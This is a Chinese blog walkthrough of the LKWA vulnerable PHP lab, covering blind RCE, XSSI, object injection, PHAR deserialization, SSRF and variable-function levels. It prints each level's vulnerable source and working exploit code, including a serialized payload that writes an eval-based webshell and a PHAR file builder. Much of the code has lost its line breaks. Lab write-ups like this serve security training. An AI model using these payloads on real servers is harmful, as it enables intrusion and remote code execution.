当前位置: 首页 > news >正文

LKWA靶场通关和源码分析

文章目录

  • 一、Blind RCE?
  • 二、XSSI
  • 三、PHP Object Injection
  • 四、PHP Object Injection(cookie)
  • 五、PHP Object Injection(Referer)
  • 六、PHAR
  • 七、SSRF
  • 八、Variables
  • 总结


一、Blind RCE?

源码:

<?php
include("sidebar.php");
/*** Blind RCE*/
class Rce {private $user_input;private $level;function __construct() {$this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;$this->level = isset($_POST['level']) ? $_POST['level'] : null;}function start() {if (empty($this->user_input)) {}else{exec($this->user_input);}}
}$rce = new Rce();
if(!empty($_POST))
{$rce->start();
}

通过exec()直接传入post的数据,进行命令执行,但是无回显,一般有几种方式,curl外带,dnglog外带,反弹shell等等,这里靶机没有curl,所有curl没法用,当然,可以通过命令执行先下载,再进行curl。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

二、XSSI

源码:

session_start();
include("sidebar.php");
$file = "../api/user";
if(!isset($_SESSION['login_user'])){
header("location: index.php");
}
?><!DOCTYPE html>
<html lang="en" dir="ltr"><head><meta charset="utf-8"><title></title><script src="../jquery/jquery.min.js"></script><script>function get(){$.ajax({url:"../api/user",type:"GET",async:true,success:function(parse){for (var i in parse){$("#" + i).text(parse[i]);}}});}get();</script></head>
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){$myObj = new \stdClass();$myObj->name = "admin";$myObj->token=time()+2*24*60*60;$data = json_encode($myObj);if(array_key_exists('callback', $_GET)){header('Content-Type: text/javascript; charset=utf8');header('Access-Control-Max-Age: 3628800');header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');$callback = $_GET['callback'];echo $callback.'('.$data.');';}else{// normal JSON stringheader('Content-Type: application/json; charset=utf8');echo $data;}}
else {$myObj = new \stdClass();$myObj->name = "";$myObj->token="";$data = json_encode($myObj);if(array_key_exists('callback', $_GET)){header('Content-Type: text/javascript; charset=utf8');header('Access-Control-Max-Age: 3628800');header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');$callback = $_GET['callback'];echo $callback.'('.$data.');';}else{// normal JSON stringheader('Content-Type: application/json; charset=utf8');echo $data;}
}
?>

使用admin,password登录会设置session,传到xssi.php,xssi.php中的$file指的就是api/user.php,而user.php中会用time()函数生成token,然后通过传入的callback参数输出data数据,因此可以调用/api/user触发。

<html><head><title>XSS</title>    </head>
<body><script>function leak(leaked)
{alert(JSON.stringify(leaked));
};</script><script src="http://ip:3000/api/user?callback=leak" type="text/javascript"></script>
</body>
</html>

在这里插入图片描述

三、PHP Object Injection

源码:

<?phpclass Foo{function __construct($filename, $data) {$this->filename = $filename . ".txt";$this->data = $data;}function __destruct(){file_put_contents($this->filename, $this->data);}
}
?>

接收object参数,然后会反序列化object,所以可以触发destruct写入shell。

<?phpclass Foo{function __construct($filename, $data) {$this->filename = $filename;$this->data = $data;}
}$a=new Foo("/var/www/html/shell.php",'<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($a));

在这里插入图片描述

四、PHP Object Injection(cookie)

源码:

<?php
include("sidebar.php");
include("obj_injection.php");if (isset($_POST['username']) && isset($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];$object = new stdClass();$object->user = $username;$data = serialize($object);if($username === "admin" && $password === "password")setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day
}?>
<!DOCTYPE html>
<html>
<head><title>Test</title>
</head>
<body><div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6></div><div class="card-body">
<form action="content.php" method="POST"><div class="form-group"><label for="exampleInputEmail1">Username</label><input type="text" class="form-control" placeholder="Enter username" name="username"></div><div class="form-group"><label for="exampleInputPassword1">Password</label><input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password"></div><button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
if(isset($_COOKIE['username']))
{$var = unserialize($_COOKIE['username']);echo "<br> Welcome ".$var->user;
}?></div></div></div></div><?php include("description.php"); ?></div></body>
</html>
class Foo{public $cmd;function __construct() {}function __destruct(){eval($this->cmd);}
}?>

使用序列化的方式生成cookie,然后对cookie中的username进行反序列化输出,Foo类可以进行命令执行,可以通过传入username,触发eval()。

在这里插入图片描述
在这里插入图片描述

五、PHP Object Injection(Referer)

源码:

<!DOCTYPE html>
<html lang="en" dir="ltr"><head><meta charset="utf-8"><title></title></head><body><div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6></div><div class="card-body"><form action="objectref.php" method="post"><div class="form-group"><label for="exampleInputEmail1">Guess</label><input type="text" class="form-control" placeholder="Enter number" name="guess"><input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'></div><button type="submit" class="btn btn-primary">Submit</button><p><p class="text-danger"> Can you win this?.</p><?php// vuln codeif (isset($_POST['guess'])) {// code...$obj = unserialize($_POST['input']);if($obj) {$obj->guess = $_POST['guess'];$obj->secretCode = rand(500000,999999);if($obj->guess === $obj->secretCode) {echo "<p class='text-success'>You Win !!!!!</p>";}else{echo "<p class='text-danger'>Loser!!!!</p>";}}}?><p></form></div></div></div></div><?php include("description.php"); ?></div></body>
</html>

要我们猜的数字和随机数相等,在不知道种子和前一次结果是几乎不可能做到的,但是可以控制input,使其相等。

<?php
class A{var $guess;var $secretCode;}
$a=new A();
$a->guess=$a->secretCode;
echo serialize($a);

在这里插入图片描述

六、PHAR

源码:

<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {if($imageFileType !== "PHAR") {$uploadOk = 1;} else {echo "File is not a PHAR file.";$uploadOk = 0;}
}
// Check if file already exists
if (file_exists($target_file)) {echo "Sorry, file already exists.";$uploadOk = 0;
}// Allow certain file formats
if($imageFileType != "phar") {echo "Sorry, only PHAR file is allowed.";$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";} else {echo "Sorry, there was an error uploading your file.";}
}
?>
<?php
/*** */
include("sidebar.php");class log
{public $filename="log.txt";public $data="log";function __wakeup(){file_put_contents($this->filename, $this->data);}
}if (file_exists($_GET['file'])) {$var = new log();
}?>
<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body>
<div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6></div><div class="card-body"><form action="upload.php" method="post" enctype="multipart/form-data">Select PHAR file to upload:<br><br><input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary"><input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary"></form></div></div></div></div><?php include("description.php"); ?>
</div>
</body>

只能传phar,明显使用phar伪协议触发log类的file_put_contents方法进行shell。

<?php
class log
{
public $filename;
public $data;
}
$a=new log();
$a->filename="/var/www/html/phpinfo.php";
$a->data="<?php phpinfo();?>";$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在这里插入图片描述
在这里插入图片描述

七、SSRF

源码:

<?php
include("sidebar.php");
if (isset($_GET['image'])) {# code...echo file_get_contents($_GET['image'], true);
}
?>
<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><div class="container-fluid"><!-- Page Heading --><div class="d-sm-flex align-items-center justify-content-between mb-4"><h1 class="h3 mb-0 text-gray-800"></h1></div><div class="row"><div class="col-lg-12 mb-12"><!-- Approach --><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">SSRF</h6></div><div class="card-body"><form action="index.php" method="GET"><div class="form-group"><label for="exampleInputEmail1">Image URL</label><input type="text" class="form-control" placeholder="Enter url" name="image"></div><button type="submit" class="btn btn-primary">Submit</button><p></form><img src="<?php echo $_GET['image']; ?>"></div></div></div></div><?php include("description.php"); ?></div>
</body>
</html>

在这里插入图片描述

八、Variables

源码:

<?php 
include("sidebar.php");?>
<!DOCTYPE html>
<html>
<head><title>Variables variable</title>
</head>
<body><div class="container-fluid"><div class="row"><div class="col-lg-12 mb-12"><div class="card shadow mb-4"><div class="card-header py-3"><h6 class="m-0 font-weight-bold text-primary">Variables variable</h6></div><div class="card-body"><!-- vuln form --><form action="variable.php" method="GET"><div class="form-group"><label for="exampleInputPassword1">String to dump</label><input type="hidden" name="func" value="var_dump"><input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string"></div><button type="submit" class="btn btn-primary">Submit</button></form>   <br><p class="text-danger">Output:</p><p id="output"><?php if (isset($_GET['func']) && isset($_GET['input'])) {$var = $_GET['func'];${"var"}($_GET['input']);}?></p>                </div></div></div></div><?php include("description.php"); ?></div></body>
</html>

直接拼接了两个参数,那么就可以直接进行命令执行,但是要回显,因此可以使用passthru,当然这里也可以直接反弹shell,方式很多。

在这里插入图片描述
在这里插入图片描述

总结

简单、基础、好玩!
靶场地址:lkwa的某docker镜像地址

相关文章:

LKWA靶场通关和源码分析

文章目录一、Blind RCE&#xff1f;二、XSSI三、PHP Object Injection四、PHP Object Injection(cookie)五、PHP Object Injection(Referer)六、PHAR七、SSRF八、Variables总结一、Blind RCE&#xff1f; 源码&#xff1a; <?php include("sidebar.php"); /***…...

logcpp demo

step1&#xff1a;nug下载log4cppstep2&#xff1a;实现demo#include <iostream>#include <log4cpp/Category.hh>#include <log4cpp/Appender.hh>#include <log4cpp/FileAppender.hh>#include <log4cpp/Priority.hh>#include <log4cpp/Patter…...

平价款的血糖血压监测工具,用它养成健康生活习惯,dido F50S Pro上手

之前看有数据显示国内的三高人群越来越年轻&#xff0c;很多人不到三十就有了高血压、高血糖的问题&#xff0c;埋下了不小的健康隐患&#xff0c;加上前阵子的疫情管控放松&#xff0c;人们了解到了新冠病毒对心脏负担的认知&#xff0c;预防慢病被大众提上了日程&#xff0c;…...

算法训练营 day42 动态规划 理论基础 斐波那契数 爬楼梯 使用最小花费爬楼梯

算法训练营 day42 动态规划 理论基础 斐波那契数 爬楼梯 使用最小花费爬楼梯 理论基础 动态规划&#xff0c;英文&#xff1a;Dynamic Programming&#xff0c;简称DP&#xff0c;如果某一问题有很多重叠子问题&#xff0c;使用动态规划是最有效的。 所以动态规划中每一个状…...

MySQL8 创建用户,设置修改密码,授权

MySQL8 创建用户,设置修改密码,授权 MySQL5.7可以 (创建用户,设置密码,授权) 一步到位 &#x1f447; GRANT ALL PRIVILEGES ON *.* TO 用户名% IDENTIFIED BY 密码 WITH GRANT OPTION&#x1f446;这样的语句在MySQL8.0中行不通, 必须 创设和授权 分步执行&#x1f447; CR…...

MySQL —— 内置函数

目录 内置函数 一、日期函数 二、字符串函数 三、数学函数 四、其他函数 内置函数 一、日期函数 函数名称描述current_date()获取当前日期current_time()获取当前时间current_timestamp()获取当前时间戳now()获取当前日期时间date(datetime)获取datetime参数的日期部分d…...

Mybatis框架(全部基础知识)

&#x1f44c; 棒棒有言&#xff1a;也许我一直照着别人的方向飞&#xff0c;可是这次&#xff0c;我想要用我的方式飞翔一次&#xff01;人生&#xff0c;既要淡&#xff0c;又要有味。凡事不必太在意&#xff0c;一切随缘&#xff0c;缘深多聚聚&#xff0c;缘浅随它去。凡事…...

pixhawk2.4.8使用调试记录—APM固件

目录一、硬件准备二、APM固件、MP地面站下载三、地面站配置1 刷固件2 机架选择3 加速度计校准4 指南针校准5 遥控器校准6 飞行模式7 紧急断电&无头模式8 基础参数设置9 电流计校准10 电调校准11 起飞前检查&#xff08;每一项都非常重要&#xff09;12 飞行经验四、遇到的问…...

终于进了字节,记录一下我作为一名测试员磕磕碰碰的三个月找工作经历...

我是裸辞后重新找工作的&#xff0c;从去年到今年&#xff0c;前前后后花了大概三个月&#xff0c;大大小小参加了几百场面试。不是我说&#xff0c;作为一名测试员是真的挺难的&#xff0c;不过很庆幸自己最后拿到了字节的offer&#xff0c;今天在这里做一下记录吧&#xff0c…...

基于PYTHON django四川旅游景点推荐系统

摘 要基于四川旅游景点推荐系统的设计与实现是一个专为四川旅游景点为用户打造的旅游网站。该课题基于网站比较流行的Python 语言系统架构,B/S三层结构模式&#xff0c;通过Maven项目管理工具进行Jar包版本的控制。本系统用户可以发布个人游记&#xff0c;查看景点使用户达到良…...

MySql服务多版本之间的切换

从网上总结的经验&#xff0c;然后根据自己所遇到的问题合并记录一下&#xff0c;方便日后再次需要用到 MySql服务多版本同时运行 步骤 1、如果你电脑上已经有一个mysql版本&#xff0c;例如mysql-5.7.39-winx64&#xff0c;它占据了3306端口。此时如果你想下仔另一版本&…...

嵌入式开发:通过嵌入式虚

嵌入式虚拟化为实现多核处理能力的优势提供了一种可扩展的机制。嵌入式应用中的虚拟化与其企业和桌面应用有许多共同之处。独特的嵌入式使用案例和专业的底层技术为嵌入式开发人员提供了优化性能和响应设计的新机会。在台式机、数据中心以及现在的嵌入式设计中采用多核技术可以…...

广州穗雅医院杨济安:了解症状表现 有效防治口腔黏膜下纤维化

“医生&#xff0c;我出现口干大半年时间&#xff0c;最近两月张嘴费劲&#xff0c;吃点辣的&#xff0c;嘴就刺疼刺疼的&#xff0c;这是怎么回事&#xff1f;”半年前&#xff0c;家住南沙的文先生走进广州穗雅医院口腔黏膜科如是说到。在科室杨济安主任的详细问诊与检查后&a…...

[数据分析] 数据指标体系搭建

在数据分析的学习过程中&#xff0c;我们通常会要求掌握以下两点: 1.理解数据&#xff0c;懂得从数据中发现业务指标(学会如何去看懂数据) 2.使用相关指标去分析数据&#xff0c;同时使用多个指标去分析一个问题(了解常见的指标) 当我们拿到数据(通常以Excel或者数据库方式去…...

Dubbo 源码分析 – 集群容错之 Cluster

3.2.2 FailbackClusterInvoker FailbackClusterInvoker 会在调用失败后&#xff0c;返回一个空结果给服务提供者。并通过定时任务对失败的调用进行重传&#xff0c;适合执行消息通知等操作。下面来看一下它的实现逻辑。 public class FailbackClusterInvoker<T> extend…...

Spring学习20230208-09

IOC底层原理 IOC概念 &#xff1a;面向对象编程中的一种设计原则&#xff0c;用来降低耦合度 通过控制反转&#xff0c;对象在被创建的时候&#xff0c;由一个调控系统内所有对象的外界实体将其所依赖的对象引用传递给他。可以说&#xff0c;依赖被注入到对象中。控制反转&…...

tomcat10部署报错WebStatFilter cannot be cast to jakarta.servlet.Filter

异常信息09-Feb-2023 23:08:49.946 严重 [main] org.apache.catalina.core.StandardContext.filterStart 启动过滤器异常[DruidWebStatFilter]java.lang.ClassCastException: com.alibaba.druid.support.http.WebStatFilter cannot be cast to jakarta.servlet.Filterat org.ap…...

Linux修改文件时间或创建新文件:touch

每个文件在Linux下面都记录了许多的时间参数&#xff0c;其实是三个主要的变动时间 修改时间&#xff08;modification time&#xff0c;mtime&#xff09;&#xff1a;当该文件的【内容数据】变更时&#xff0c;就会更新这个时间&#xff0c;内容数据是指文件的内容&#xff…...

原生微信小程序按需引入vant

vant Vant Weapp - 轻量、可靠的小程序 UI 组件库 1.npm安装 找到项目根目录 安装 # 通过 npm 安装 npm i vant/weapp -S --production# 通过 yarn 安装 yarn add vant/weapp --production# 安装 0.x 版本 npm i vant-weapp -S --production 2 .修改 app.json 将 app.jso…...

高性能IO模型:为什么单线程Redis能那么快?

我们通常说Redis是单线程&#xff0c;主要是指Redis的网络IO和键值对读写是由一个线程来完成的。这也是Redis对外提供键值存储服务的主要流程。 但redis的其他功能&#xff0c;比如持久化、异步删除、集群数据同步等&#xff0c;其实是由额外的线程执行的。 Redis为什么用单线…...

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…...

智慧医疗能源事业线深度画像分析(上)

引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...

2.Vue编写一个app

1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

2025盘古石杯决赛【手机取证】

前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来&#xff0c;实在找不到&#xff0c;希望有大佬教一下我。 还有就会议时间&#xff0c;我感觉不是图片时间&#xff0c;因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版&#xff01;&#xff01;&#xff01;6.8截至答题&#xff0c;大家注意呀&#xff01; 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:&#xff08; B &#xff09; A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

OpenLayers 分屏对比(地图联动)

注&#xff1a;当前使用的是 ol 5.3.0 版本&#xff0c;天地图使用的key请到天地图官网申请&#xff0c;并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能&#xff0c;和卷帘图层不一样的是&#xff0c;分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…...

QT3D学习笔记——圆台、圆锥

类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体&#xff08;对象或容器&#xff09;QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质&#xff08;定义颜色、反光等&#xff09;QFirstPersonC…...

Linux 中如何提取压缩文件 ?

Linux 是一种流行的开源操作系统&#xff0c;它提供了许多工具来管理、压缩和解压缩文件。压缩文件有助于节省存储空间&#xff0c;使数据传输更快。本指南将向您展示如何在 Linux 中提取不同类型的压缩文件。 1. Unpacking ZIP Files ZIP 文件是非常常见的&#xff0c;要在 …...